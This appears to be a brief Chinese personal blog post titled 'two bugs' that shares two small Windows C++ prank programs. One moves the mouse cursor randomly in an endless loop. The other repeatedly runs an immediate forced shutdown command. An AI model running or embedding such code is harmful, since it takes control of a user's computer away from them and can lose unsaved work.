跳到正文

个人记录

两个bug

wuxingyu1123约 1 分钟
原文
文章信息与版本

文章信息

收录
2026年4月26日
更新
2026年4月26日
篇幅
约 1 分钟

版本

  1. v4当前
  2. v3
  3. v2
  4. v1

1 鼠标乱晃(解决方法:重启)

#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

int main()

{

while(1)

{

SetCursorPos(rand()%1000,rand()%1000);

}

}

2 强制关机(解决方法:等待)

#include<iostream>

#include<cstring>

using namespace std;

int main(){

freopen(“.in”,“r”,stdin);

freopen(“.out”,“w”,stdout);

while(1)system(“shutdown -s -t 0”);

fclose(stdin);

fclose(stdout);

return 0; }

原文